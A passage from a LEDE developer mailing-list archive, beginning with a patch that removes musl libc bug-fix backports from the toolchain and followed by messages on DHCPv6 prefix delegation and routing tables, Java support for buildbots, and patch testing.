- 		for (a=s; *s && *s!='%'; s++);
--		litpct = wcsspn(s, L"%")/2; /* Optimize %%%% runs */
--		z = s+litpct;
--		s += 2*litpct;
-+		for (z=s; s[0]=='%' && s[1]=='%'; z++, s+=2);
-+		if (z-a > INT_MAX-cnt) goto overflow;
- 		l = z-a;
- 		if (f) out(f, a, l);
- 		if (l) continue;
-@@ -222,9 +223,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			} else if (!l10n) {
- 				w = f ? va_arg(*ap, int) : 0;
- 				s++;
--			} else return -1;
-+			} else goto inval;
- 			if (w<0) fl|=LEFT_ADJ, w=-w;
--		} else if ((w=getint(&s))<0) return -1;
-+		} else if ((w=getint(&s))<0) goto overflow;
- 
- 		/* Read precision */
- 		if (*s=='.' && s[1]=='*') {
-@@ -235,24 +236,29 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			} else if (!l10n) {
- 				p = f ? va_arg(*ap, int) : 0;
- 				s+=2;
--			} else return -1;
-+			} else goto inval;
-+			xp = (p>=0);
- 		} else if (*s=='.') {
- 			s++;
- 			p = getint(&s);
--		} else p = -1;
-+			xp = 1;
-+		} else {
-+			p = -1;
-+			xp = 0;
-+		}
- 
- 		/* Format specifier state machine */
- 		st=0;
- 		do {
--			if (OOB(*s)) return -1;
-+			if (OOB(*s)) goto inval;
- 			ps=st;
- 			st=states[st]S(*s++);
- 		} while (st-1<STOP);
--		if (!st) return -1;
-+		if (!st) goto inval;
- 
- 		/* Check validity of argument type (nl/normal) */
- 		if (st==NOARG) {
--			if (argpos>=0) return -1;
-+			if (argpos>=0) goto inval;
- 		} else {
- 			if (argpos>=0) nl_type[argpos]=st, arg=nl_arg[argpos];
- 			else if (f) pop_arg(&arg, st, ap);
-@@ -285,8 +291,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			continue;
- 		case 'S':
- 			a = arg.p;
--			z = wmemchr(a, 0, p);
--			if (z) p=z-a;
-+			z = a + wcsnlen(a, p<0 ? INT_MAX : p);
-+			if (p<0 && *z) goto overflow;
-+			p = z-a;
- 			if (w<p) w=p;
- 			if (!(fl&LEFT_ADJ)) fprintf(f, "%*s", w-p, "");
- 			out(f, a, p);
-@@ -298,9 +305,9 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 		case 's':
- 			if (!arg.p) arg.p = "(null)";
- 			bs = arg.p;
--			if (p<0) p = INT_MAX;
--			for (i=l=0; l<p && (i=mbtowc(&wc, bs, MB_LEN_MAX))>0; bs+=i, l++);
-+			for (i=l=0; l<(p<0?INT_MAX:p) && (i=mbtowc(&wc, bs, MB_LEN_MAX))>0; bs+=i, l++);
- 			if (i<0) return -1;
-+			if (p<0 && *bs) goto overflow;
- 			p=l;
- 			if (w<p) w=p;
- 			if (!(fl&LEFT_ADJ)) fprintf(f, "%*s", w-p, "");
-@@ -315,6 +322,7 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 			continue;
- 		}
- 
-+		if (xp && p<0) goto overflow;
- 		snprintf(charfmt, sizeof charfmt, "%%%s%s%s%s%s*.*%c%c",
- 			"#"+!(fl & ALT_FORM),
- 			"+"+!(fl & MARK_POS),
-@@ -341,6 +349,13 @@ static int wprintf_core(FILE *f, const wchar_t *fmt, va_list *ap, union arg *nl_
- 	for (; i<=NL_ARGMAX && !nl_type[i]; i++);
- 	if (i<=NL_ARGMAX) return -1;
- 	return 1;
-+
-+inval:
-+	errno = EINVAL;
-+	return -1;
-+overflow:
-+	errno = EOVERFLOW;
-+	return -1;
- }
- 
- int vfwprintf(FILE *restrict f, const wchar_t *restrict fmt, va_list ap)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch b/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
deleted file mode 100644
index fde857b213..0000000000
--- a/toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 688d3da0f1730daddbc954bbc2d27cc96ceee04c Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Tue, 4 Oct 2016 03:58:56 +0200
-Subject: math: fix pow signed shift ub
-
-j is int32_t and thus j<<31 is undefined if j==1, so j is changed to
-uint32_t locally as a quick fix, the generated code is not affected.
-
-(this is a strict conformance fix, future c standard may allow 1<<31,
-see DR 463.  the bug was inherited from freebsd fdlibm, the proper fix
-is to use uint32_t for all bit hacks, but that requires more intrusive
-changes.)
-
-reported by Daniel Sabogal
----
- src/math/pow.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/math/pow.c b/src/math/pow.c
-index b66f632..3ddc1b6 100644
---- a/src/math/pow.c
-+++ b/src/math/pow.c
-@@ -125,11 +125,11 @@ double pow(double x, double y)
- 		else if (iy >= 0x3ff00000) {
- 			k = (iy>>20) - 0x3ff;  /* exponent */
- 			if (k > 20) {
--				j = ly>>(52-k);
-+				uint32_t j = ly>>(52-k);
- 				if ((j<<(52-k)) == ly)
- 					yisint = 2 - (j&1);
- 			} else if (ly == 0) {
--				j = iy>>(20-k);
-+				uint32_t j = iy>>(20-k);
- 				if ((j<<(20-k)) == iy)
- 					yisint = 2 - (j&1);
- 			}
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch b/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
deleted file mode 100644
index f57f7a65fb..0000000000
--- a/toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 3ca2d2d4aef910663785fe232d7d2127a22d8a84 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Sat, 17 Sep 2016 12:05:45 -0400
-Subject: fix clock_nanosleep error case
-
-posix requires that EINVAL be returned if the first parameter specifies
-the cpu-time clock of the calling thread (CLOCK_THREAD_CPUTIME_ID).
-linux returns ENOTSUP instead so we handle this.
----
- src/time/clock_nanosleep.c | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/time/clock_nanosleep.c b/src/time/clock_nanosleep.c
-index ec87b9e..9e4d9f1 100644
---- a/src/time/clock_nanosleep.c
-+++ b/src/time/clock_nanosleep.c
-@@ -1,8 +1,10 @@
- #include <time.h>
-+#include <errno.h>
- #include "syscall.h"
- #include "libc.h"
- 
- int clock_nanosleep(clockid_t clk, int flags, const struct timespec *req, struct timespec *rem)
- {
--	return -__syscall_cp(SYS_clock_nanosleep, clk, flags, req, rem);
-+	int r = -__syscall_cp(SYS_clock_nanosleep, clk, flags, req, rem);
-+	return clk == CLOCK_THREAD_CPUTIME_ID ? EINVAL : r;
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/050-add-pthread_setname_np.patch b/toolchain/musl/patches/050-add-pthread_setname_np.patch
deleted file mode 100644
index 9d641a296b..0000000000
--- a/toolchain/musl/patches/050-add-pthread_setname_np.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 8fb28b0b3e7a5e958fb844722a4b2ef9bc244af1 Mon Sep 17 00:00:00 2001
-From: Felix Janda <felix.janda at posteo.de>
-Date: Fri, 16 Sep 2016 20:54:00 -0400
-Subject: add pthread_setname_np
-
-the thread name is displayed by gdb's "info threads".
----
- include/pthread.h               |  1 +
- src/thread/pthread_setname_np.c | 26 ++++++++++++++++++++++++++
- 2 files changed, 27 insertions(+)
- create mode 100644 src/thread/pthread_setname_np.c
-
-diff --git a/include/pthread.h b/include/pthread.h
-index 3d2e0c4..94ef919 100644
---- a/include/pthread.h
-+++ b/include/pthread.h
-@@ -214,6 +214,7 @@ struct cpu_set_t;
- int pthread_getaffinity_np(pthread_t, size_t, struct cpu_set_t *);
- int pthread_setaffinity_np(pthread_t, size_t, const struct cpu_set_t *);
- int pthread_getattr_np(pthread_t, pthread_attr_t *);
-+int pthread_setname_np(pthread_t, const char *);
- int pthread_tryjoin_np(pthread_t, void **);
- int pthread_timedjoin_np(pthread_t, void **, const struct timespec *);
- #endif
-diff --git a/src/thread/pthread_setname_np.c b/src/thread/pthread_setname_np.c
-new file mode 100644
-index 0000000..82d35e1
---- /dev/null
-+++ b/src/thread/pthread_setname_np.c
-@@ -0,0 +1,26 @@
-+#define _GNU_SOURCE
-+#include <fcntl.h>
-+#include <string.h>
-+#include <unistd.h>
-+#include <sys/prctl.h>
-+
-+#include "pthread_impl.h"
-+
-+int pthread_setname_np(pthread_t thread, const char *name)
-+{
-+	int fd, cs, status = 0;
-+	char f[sizeof "/proc/self/task//comm" + 3*sizeof(int)];
-+	size_t len;
-+
-+	if ((len = strnlen(name, 16)) > 15) return ERANGE;
-+
-+	if (thread == pthread_self())
-+		return prctl(PR_SET_NAME, (unsigned long)name, 0UL, 0UL, 0UL) ? errno : 0;
-+
-+	snprintf(f, sizeof f, "/proc/self/task/%d/comm", thread->tid);
-+	pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &cs);
-+	if ((fd = open(f, O_WRONLY)) < 0 || write(fd, name, len) < 0) status = errno;
-+	if (fd >= 0) close(fd);
-+	pthread_setcancelstate(cs, 0);
-+	return status;
-+}
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch b/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
deleted file mode 100644
index d01a163ce2..0000000000
--- a/toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From 51ab6db4ed115d079d7131975e4adb074ba9ef9d Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Wed, 12 Oct 2016 00:49:59 +0200
-Subject: fix float formatting of some exact halfway cases
-
-in nearest rounding mode exact halfway cases were not following the
-round to even rule if the rounding happened at a base 1000000000 digit
-boundary of the internal representation and the previous digit was odd.
-
-e.g. printf("%.0f", 1.5) printed 1 instead of 2.
----
- src/stdio/vfprintf.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index e2ab2dc..60da14d 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -345,7 +345,8 @@ static int fmt_fp(FILE *f, long double y, int w, int p, int fl, int t)
- 		if (x || d+1!=z) {
- 			long double round = 2/LDBL_EPSILON;
- 			long double small;
--			if (*d/i & 1) round += 2;
-+			if ((*d/i & 1) || (i==1000000000 && d>a && (d[-1]&1)))
-+				round += 2;
- 			if (x<i/2) small=0x0.8p0;
- 			else if (x==i/2 && d+1==z) small=0x1.0p0;
- 			else small=0x1.8p0;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch b/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
deleted file mode 100644
index 651d58e955..0000000000
--- a/toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From b24f1d2520c87077cef21e085893e5f3c565a6df Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 12:13:33 -0400
-Subject: fix getopt_long_only misinterpreting "--" as an option
-
----
- src/misc/getopt_long.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/misc/getopt_long.c b/src/misc/getopt_long.c
-index 480c001..c6e1462 100644
---- a/src/misc/getopt_long.c
-+++ b/src/misc/getopt_long.c
-@@ -53,7 +53,7 @@ static int __getopt_long_core(int argc, char *const *argv, const char *optstring
- {
- 	optarg = 0;
- 	if (longopts && argv[optind][0] == '-' &&
--		((longonly && argv[optind][1]) ||
-+		((longonly && argv[optind][1] && argv[optind][1] != '-') ||
- 		 (argv[optind][1] == '-' && argv[optind][2])))
- 	{
- 		int colon = optstring[optstring[0]=='+'||optstring[0]=='-']==':';
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch b/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
deleted file mode 100644
index 46920bccfb..0000000000
--- a/toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From f33b17585058381491e6fda08f491b8e48c7980c Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 20 Oct 2016 13:22:20 -0400
-Subject: fix gratuitous undefined behavior in strptime
-
-accessing an object of type const char *restrict as if it had type
-char * is not defined.
----
- src/time/strptime.c | 9 +++++++--
- 1 file changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/src/time/strptime.c b/src/time/strptime.c
-index f41f55f..55c7ed1 100644
---- a/src/time/strptime.c
-+++ b/src/time/strptime.c
-@@ -22,8 +22,13 @@ char *strptime(const char *restrict s, const char *restrict f, struct tm *restri
- 		}
- 		f++;
- 		if (*f == '+') f++;
--		if (isdigit(*f)) w=strtoul(f, (void *)&f, 10);
--		else w=-1;
-+		if (isdigit(*f)) {
-+			char *new_f;
-+			w=strtoul(f, &new_f, 10);
-+			f = new_f;
-+		} else {
-+			w=-1;
-+		}
- 		adj=0;
- 		switch (*f++) {
- 		case 'a': case 'A':
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch b/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
deleted file mode 100644
index 3d9211c022..0000000000
--- a/toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d184a09e0529f33d8ddddb8825039133483a2c41 Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sun, 4 Sep 2016 04:46:00 +0200
-Subject: fix strtod and strtof rounding with many trailing zeros
-
-in certain cases excessive trailing zeros could cause incorrect
-rounding from long double to double or float in decfloat.
-
-e.g. in strtof("9444733528689243848704.000000", 0) the argument
-is 0x1.000001p+73, exactly halfway between two representible floats,
-this incorrectly got rounded to 0x1.000002p+73 instead of 0x1p+73,
-but with less trailing 0 the rounding was fine.
-
-the fix makes sure that the z index always points one past the last
-non-zero digit in the base 10^9 representation, this way trailing
-zeros don't affect the rounding logic.
----
- src/internal/floatscan.c | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/internal/floatscan.c b/src/internal/floatscan.c
-index eef70df..80305ee 100644
---- a/src/internal/floatscan.c
-+++ b/src/internal/floatscan.c
-@@ -172,6 +172,9 @@ static long double decfloat(FILE *f, int c, int bits, int emin, int sign, int po
- 			return sign * (long double)x[0] * p10s[rp-10];
- 	}
- 
-+	/* Drop trailing zeros */
-+	for (; !x[z-1]; z--);
-+
- 	/* Align radix point to B1B digit boundary */
- 	if (rp % 9) {
- 		int rpm9 = rp>=0 ? rp%9 : rp%9+9;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch b/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
deleted file mode 100644
index 1588b14658..0000000000
--- a/toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 6ffdc4579ffb34f4aab69ab4c081badabc7c0a9a Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sun, 4 Sep 2016 04:51:03 +0200
-Subject: fix strtod int optimization in non-nearest rounding mode
-
-the mid-sized integer optimization relies on lnz set up properly
-to mark the last non-zero decimal digit, but this was not done
-if the non-zero digit lied outside the KMAX digits of the base
-10^9 number representation.
-
-so if the fractional part was a very long list of zeros (>2048*9 on
-x86) followed by non-zero digits then the integer optimization could
-kick in discarding the tiny non-zero fraction which can mean wrong
-result on non-nearest rounding mode.
-
-strtof, strtod and strtold were all affected.
----
- src/internal/floatscan.c | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/src/internal/floatscan.c b/src/internal/floatscan.c
-index 80305ee..ae09852 100644
---- a/src/internal/floatscan.c
-+++ b/src/internal/floatscan.c
-@@ -110,7 +110,10 @@ static long double decfloat(FILE *f, int c, int bits, int emin, int sign, int po
- 			gotdig=1;
- 		} else {
- 			dc++;
--			if (c!='0') x[KMAX-4] |= 1;
-+			if (c!='0') {
-+				lnz = (KMAX-4)*9;
-+				x[KMAX-4] |= 1;
-+			}
- 		}
- 	}
- 	if (!gotrad) lrp=dc;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch b/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
deleted file mode 100644
index 6db6fd8365..0000000000
--- a/toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From bc1e7731cee963e422575f81048792f4d5db9641 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogal at ufl.edu>
-Date: Wed, 2 Nov 2016 22:29:36 -0400
-Subject: fix integer overflow of tm_year in __secs_to_tm
-
-the overflow check for years+100 did not account for the extra
-year computed from the remaining months. instead, perform this
-check after obtaining the final number of years.
----
- src/time/__secs_to_tm.c | 9 +++++----
- 1 file changed, 5 insertions(+), 4 deletions(-)
-
-diff --git a/src/time/__secs_to_tm.c b/src/time/__secs_to_tm.c
-index 3a3123a..093d902 100644
---- a/src/time/__secs_to_tm.c
-+++ b/src/time/__secs_to_tm.c
-@@ -60,15 +60,16 @@ int __secs_to_tm(long long t, struct tm *tm)
- 	for (months=0; days_in_month[months] <= remdays; months++)
- 		remdays -= days_in_month[months];
- 
-+	if (months >= 10) {
-+		months -= 12;
-+		years++;
-+	}
-+
- 	if (years+100 > INT_MAX || years+100 < INT_MIN)
- 		return -1;
- 
- 	tm->tm_year = years + 100;
- 	tm->tm_mon = months + 2;
--	if (tm->tm_mon >= 12) {
--		tm->tm_mon -=12;
--		tm->tm_year++;
--	}
- 	tm->tm_mday = remdays + 1;
- 	tm->tm_wday = wday;
- 	tm->tm_yday = yday;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch b/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
deleted file mode 100644
index a6e7c7f5b0..0000000000
--- a/toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 7442442ccc665641a8827177e8e7ed45bbbd6584 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Mon, 7 Nov 2016 20:39:59 -0500
-Subject: fix swprintf internal buffer state and error handling
-
-the swprintf write callback never reset its buffer pointers, so after
-its 256-byte buffer filled up, it would keep repeating those bytes
-over and over in the output until the destination buffer filled up. it
-also failed to set the error indicator for the stream on EILSEQ,
-potentially allowing output to continue after the error.
----
- src/stdio/vswprintf.c | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
-diff --git a/src/stdio/vswprintf.c b/src/stdio/vswprintf.c
-index 7d237ba..6eb2f6a 100644
---- a/src/stdio/vswprintf.c
-+++ b/src/stdio/vswprintf.c
-@@ -24,7 +24,14 @@ static size_t sw_write(FILE *f, const unsigned char *s, size_t l)
- 		c->ws++;
- 	}
- 	*c->ws = 0;
--	return i<0 ? i : l0;
-+	if (i < 0) {
-+		f->wpos = f->wbase = f->wend = 0;
-+		f->flags |= F_ERR;
-+		return i;
-+	}
-+	f->wend = f->buf + f->buf_size;
-+	f->wpos = f->wbase = f->buf;
-+	return l0;
- }
- 
- int vswprintf(wchar_t *restrict s, size_t n, const wchar_t *restrict fmt, va_list ap)
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch b/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
deleted file mode 100644
index 50d23e5056..0000000000
--- a/toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 4078a5c31fa67987051c2180db7a07702534032f Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Tue, 8 Nov 2016 18:03:42 -0500
-Subject: fix build regression on archs with variable page size
-
-commit 31fb174dd295e50f7c5cf18d31fcfd5fe5a063b7 used
-DEFAULT_GUARD_SIZE from pthread_impl.h in a static initializer,
-breaking build on archs where its definition, PAGE_SIZE, is not a
-constant. instead, just define DEFAULT_GUARD_SIZE as 4096, the minimal
-page size on any arch we support. pthread_create rounds up to whole
-pages anyway, so defining it to 1 would also work, but a moderately
-meaningful value is nicer to programs that use
-pthread_attr_getguardsize on default-initialized attribute objects.
----
- src/internal/pthread_impl.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/internal/pthread_impl.h b/src/internal/pthread_impl.h
-index 3890bb5..7a679db 100644
---- a/src/internal/pthread_impl.h
-+++ b/src/internal/pthread_impl.h
-@@ -143,7 +143,7 @@ void __block_app_sigs(void *);
- void __restore_sigs(void *);
- 
- #define DEFAULT_STACK_SIZE 81920
--#define DEFAULT_GUARD_SIZE PAGE_SIZE
-+#define DEFAULT_GUARD_SIZE 4096
- 
- #define __ATTRP_C11_THREAD ((void*)(uintptr_t)-1)
- 
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch b/toolchain/musl/patches/400-Add-format-attribute-to-some-function-declarations.patch
similarity index 100%
rename from toolchain/musl/patches/099-Add-format-attribute-to-some-function-declarations.patch
rename to toolchain/musl/patches/400-Add-format-attribute-to-some-function-declarations.patch
diff --git a/toolchain/musl/patches/400-fix_quoted_timezone.patch b/toolchain/musl/patches/400-fix_quoted_timezone.patch
deleted file mode 100644
index 79afa4a63b..0000000000
--- a/toolchain/musl/patches/400-fix_quoted_timezone.patch
+++ /dev/null
@@ -1,11 +0,0 @@
---- a/src/time/__tz.c
-+++ b/src/time/__tz.c
-@@ -87,7 +87,7 @@
- 	int i;
- 	if (**p == '<') {
- 		++*p;
--		for (i=0; **p!='>' && i<TZNAME_MAX; i++)
-+		for (i=0; (*p)[i]!='>' && i<TZNAME_MAX; i++)
- 			d[i] = (*p)[i];
- 		++*p;
- 	} else {
-- 
2.11.0



From dave.taht at gmail.com  Tue Jan  3 09:31:24 2017
From: dave.taht at gmail.com (Dave Taht)
Date: Tue, 3 Jan 2017 09:31:24 -0800
Subject: [LEDE-DEV] dhcpv6-pd subnet allocation?
In-Reply-To: <CAJLcKsEXBuNfvT-gX3==-=Q_aM6JrZ7bP0eP9DxSxcqP3pmvyg@mail.gmail.com>
References: <CAA93jw6-x7_mrP9koEez85v-XP_rNNO9cJQE9oTAVcBioO7W2w@mail.gmail.com>
 <CAJLcKsEXBuNfvT-gX3==-=Q_aM6JrZ7bP0eP9DxSxcqP3pmvyg@mail.gmail.com>
Message-ID: <CAA93jw6HPUjX_Xm_zephx59xJAdB6g933zDBmQ9R6JPSc-UZ7A@mail.gmail.com>

Thx

On Tue, Jan 3, 2017 at 1:28 AM, Hans Dedecker <dedeckeh at gmail.com> wrote:
> On Mon, Jan 2, 2017 at 8:02 PM, Dave Taht <dave.taht at gmail.com> wrote:
>> 1) In a topology like this:
>>
>> ISP
>>  |
>> routerA
>>  |
>> routerB
>>  |
>> routerC
>>
>> what options now exist in lede for getting an ipv6 subnet to routerC
>> from routerA after being provided by the ISP? (the basic PD allocation
>> from ISP to A seems to work)
>>
>> Can routerB get one from routerA, then C from B?
>>
>> dhcp-pd?
> Cascaded prefix delegation is possible in lede if you get a prefix
> length from your ISP which allows you to do prefix delegation for
> different subnets

I will give it a shot.

>> hncpd?
>> shcncpd?
>> wget?
>>
>> 2) I'd like to be able to toss a dhcp address allocation into its own
>> routing table
>> (having some trouble with default routes) - according to this
>>
>> https://lists.openwrt.org/pipermail/openwrt-devel/2015-September/036212.html
>>
>>         option ipv4table 16
>>
>> is the way? (cause ip route show table 16 shows nothing)
>>
>> config interface 'wan'
>>         option ifname 'eth0'
>>         option proto 'dhcp'
>>         option defaultroute '0'
>>         option ipv4table 16
> It needs to be ip4table iso ipv4table

Tired old eyeballs... thx. ip4table works, but so far as I know that
has the possibility to
collide with other uses of the table facility (vpns, routing protocols, etc)

My thought was that the "right" place to stick a dhcp proto acquired
route was in the dhcp proto field (16) in the routing table. instead
it is either static or my user-defined table

example (testing)

ip route add unreachable 172.26.148.0/22 proto dhcp

ip route show (snipped)
...
172.26.130.0/23 via 172.26.96.96 dev wlan0  proto babel onlink
unreachable 172.26.148.0/22  proto dhcp
...

Or, more fully

root at apu2:/etc/network# ip route add unreachable 172.26.144.0/22 proto 17
root at apu2:/etc/network# ip route show proto 17
unreachable 172.26.144.0/22
root at apu2:/etc/network# ip route flush proto 17
root at apu2:/etc/network# ip route add unreachable 172.26.144.0/22 table 17
root at apu2:/etc/network# ip route show table 17
unreachable 172.26.144.0/22
root at apu2:/etc/network# ip route show proto 17

A similar question arises in configuration

config route 'unreachloc'
        option 'interface' 'lan'
        option 'target' '172.26.20.0'
        option 'netmask' '255.255.252.0'
        option 'type' 'unreachable'
        option 'table' '17'

Works, but no way to use "proto"


>
> Hans
>>
>>
>>
>>
>>
>> --
>> Dave T?ht
>> Let's go make home routers and wifi faster! With better software!
>> http://blog.cerowrt.org
>>
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev



-- 
Dave T?ht
Let's go make home routers and wifi faster! With better software!
http://blog.cerowrt.org


From k6jq at comcast.net  Tue Jan  3 11:54:24 2017
From: k6jq at comcast.net (Dana Myers)
Date: Tue, 3 Jan 2017 11:54:24 -0800
Subject: [LEDE-DEV] [OpenWrt-Devel] Adding host Java support to the
	buildbots
In-Reply-To: <20170102092208.03802d40@gmail.com>
References: <bb7cb4c2-39f5-6ce5-b0e4-b686802157a1@comcast.net>
 <20161230085025.14466da0@gmail.com>
 <d046ed3b-3fbb-4379-e521-c06d7c2384cc@comcast.net>
 <20170102092208.03802d40@gmail.com>
Message-ID: <00bde4b8-b273-6cfa-e76f-fd1d65c126c8@comcast.net>

On 1/2/2017 12:22 AM, Ralph Sennhauser wrote:
> On Fri, 30 Dec 2016 06:52:32 -0800
> Dana Myers <k6jq at comcast.net> wrote:
>
>> On 12/29/2016 11:50 PM, Ralph Sennhauser wrote:


> Another alternative to hotspot on mips would be cacao, again with
> openjdk classpath. Though jamvm certainly is a vaild pick.

Without revisiting my selection process from 3 years ago, I did look at the
various alternatives and picked JamVM, and it has proven more than adequate
for my needs. Same thing is true for GNU Classpath.

I needed support for what was historically called the "Connected Device Configuration,
Foundation Profile" and the combination of JamVM and Classpath met/meets my needs.
Keep in mind that the class of device running OpenWRT is likely to be very limited in
terms of memory, and headless as well.

In modern Java terms, I suppose this class of embedded Java use is most
consistent with the "General Connection Framework".

> What encumbrance concerns do you have in mind? Debian also ships the
> binaries as in openjdk-7-jdk.

Frankly, it was uncertainty on my part regarding embedded use under the
OpenJDK license. It may not be an issue at all; I was more comfortable with
GNU Classpath, it suited my needs, and had the longest history of use with
JamVM (increasing my confidence in stability). I didn't dig into the OpenJDK
licensing details with respect to embedded use.

> I don't object to jamvm with gnu classpath, just that I was wondering
> why you'd pick it over the alternatives. Basically it's adding java
> support that is hardly usable this days apart of a few specialized
> cases.

That sounds like a bit of an exaggeration there :-) There's no reason that
support for OpenJDK library and/or additional JVMs can't be integrated into
OpenWRT, though.

Cheers,
Dana




From patchwork-notifications at patchwork.ozlabs.org  Tue Jan  3 12:10:02 2017
From: patchwork-notifications at patchwork.ozlabs.org (Patchwork)
Date: Tue, 03 Jan 2017 20:10:02 -0000
Subject: [LEDE-DEV] [lede] Patch notification: 1 patch updated
Message-ID: <20170103201002.30884.82113@ozlabs.org>

Hello,

The following patch (submitted by you) has been updated in patchwork:

 * lede: [LEDE-DEV] musl: update musl to 1.1.16 and switch to download from git
     - http://patchwork.ozlabs.org/patch/710318/
     - for: LEDE development
    was: New
    now: Superseded

This email is a notification only - you do not need to respond.

Happy patchworking.

--

This is an automated mail sent by the patchwork system at
patchwork.ozlabs.org. To stop receiving these notifications, edit
your mail settings at:
  http://patchwork.ozlabs.org/mail/


From koen.vandeputte at ncentric.com  Tue Jan  3 23:57:18 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Wed, 4 Jan 2017 08:57:18 +0100
Subject: [LEDE-DEV] [PATCH v2] musl: update musl to 1.1.16+ and switch
 to download from git
In-Reply-To: <mailman.76544.1483462304.1639.lede-dev@lists.infradead.org>
References: <mailman.76544.1483462304.1639.lede-dev@lists.infradead.org>
Message-ID: <f3b9ec4e-c242-ec18-777b-f63e3f72301d@ncentric.com>

Compile & run-tested on cns3xxx & imx6

Tested-by: Koen Vandeputte <koen.vandeputte at ncentric.com>


On 2017-01-03 17:51, Christian Lamparter via Lede-dev wrote:
> The sender domain has a DMARC Reject/Quarantine policy which disallows
> sending mailing list messages using the original "From" header.
>
